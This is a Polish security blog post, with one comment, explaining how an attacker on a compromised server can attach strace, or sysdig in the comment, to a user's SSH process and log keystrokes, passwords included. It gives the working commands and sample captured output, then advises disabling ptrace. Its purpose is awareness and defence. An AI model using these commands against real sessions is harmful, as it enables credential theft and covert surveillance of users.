NFsec Logo

Inwigilacja połączeń SSH za pomocą strace

12/11/2016 w Bezpieczeństwo 1 komentarz.  (artykuł nr 571, ilość słów: 1003)

T

o, że używamy SSH do połączeń z serwerami nie oznacza, że możemy czuć się bezpiecznie. Szczególnie musimy uważać na te maszyny, którymi zarządzają niezaufane osoby. Dlaczego? Ponieważ odczyt niezaszyfrowanych danych w systemie można wykonać na różnych poziomach dostępu. Za przykład weźmy wywołanie ptrace, które jest używane do monitoringu i kontroli innych procesów. Głównie jest używane do debugowania, a chyba najpopularniejszym programem wykorzystującym jego możliwości jest strace.

Klient i serwer SSH używają różnych wywołań systemowych do odczytu danych od użytkownika i przekazywaniu ich na ekran. Na przykład możemy przeczytać, co dokładnie użytkownik wpisuje do klienta SSH poprzez połączenie się strace do procesu i szukaniu wywołań read(#, "[dane]", 16384). Natomiast od strony serwera SSH musimy się skupić na przefiltrowaniu write(#, "[dane]", 1). Wyobraźmy sobie, że właśnie nasz serwer został przejęty przez agresora. Bardzo rzadko wykorzystujemy na nim konto administratora, ale bardzo często łączymy się z niego do innych serwerów, które ufają tylko naszej maszynie. Przychodzi dzień, w którym ponownie musimy zalogować się z swojego serwera do innego. Jak taka sytuacja może wyglądać od strony atakującego, który właśnie przygląda się nam z ukrycia? Na początek identyfikuje, do którego procesu musi wpiąć się programem strace:

root@darkstar:~# ps -fC sshd
UID        PID  PPID  C STIME TTY          TIME CMD
root      1014     1  0 Nov11 ?        00:00:00 /usr/sbin/sshd -D
root      2384  1014  0 Nov11 ?        00:00:00 sshd: darkstar [priv]
darkstar  2414  2384  0 Nov11 ?        00:00:08 sshd: darkstar@pts/0,pts/1

Wybiera numer procesu: 2414, aby podsłuchać naszą konsolę:

strace -p 2414 -e write 2>&1 | egrep "^write(.*1)$"

Jak tylko zaczniemy wpisywać polecenia w naszej powłoce na ekranie napastnika pojawią się pojedyncze znaki wychwycone z wywołań systemowych:

write(10, "s", 1)                       = 1
write(10, "s", 1)                       = 1
write(10, "h", 1)                       = 1
write(10, " ", 1)                       = 1
write(10, "s", 1)                       = 1
write(10, "t", 1)                       = 1
write(10, "a", 1)                       = 1
write(10, "r", 1)                       = 1
write(10, "g", 1)                       = 1
write(10, "a", 1)                       = 1
write(10, "t", 1)                       = 1
write(10, "e", 1)                       = 1
write(10, ".", 1)                       = 1
write(10, "n", 1)                       = 1
write(10, "f", 1)                       = 1
write(10, "s", 1)                       = 1
write(10, "e", 1)                       = 1
write(10, "c", 1)                       = 1
write(10, ".", 1)                       = 1
write(10, "p", 1)                       = 1
write(10, "l", 1)                       = 1

Później pozostaje już tylko przechwycenie hasła i innych wrażliwych danych. Atakujący nie musi nawet zapisywać tych danych do pliku na przechwyconym serwerze, aby pozostawić ślady. Wystarczy, że będzie, co jakiś czas wykonywał zrzuty ekranu lub logowanie sesji odbędzie się z poziomu programu uruchomionego na jego komputerze.

Jeśli jesteśmy administratorami serwerów ataki tego typu możemy złagodzić poprzez wyłączenie ptrace – nie tylko, aby wykluczyć padnięcie ofiarą własnej maszyny, ale aby również być fair wobec własnych użytkowników. Jako klienci możemy również sprawdzać ustawienia danego serwera pod względem polityki wykorzystania ptrace, ale przede wszystkim musimy być zawsze świadomi możliwości podsłuchu używając niezaufanego systemu.

Więcej informacji: Spying on ssh with strace, Poor man’s SSH keylogger, strace keylogger

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , ,

1 komentarz.

  1. Patryk Krawaczyński napisał(a):

    Analogiczną funkcjonalność możemy również osiągnąć poprzez sysdig:

    sysdig evt.type=write and proc.pid=2414 | grep "res=1 data"
    

    Tylko w tym przypadku ustawienie kernel.yama.ptrace_scope na wartość 3 nie ochroni systemu przed podsłuchem, ponieważ sysdig nie korzysta z ptrace.

Zostaw odpowiedź.

Musisz być zalogowany by móc komentować.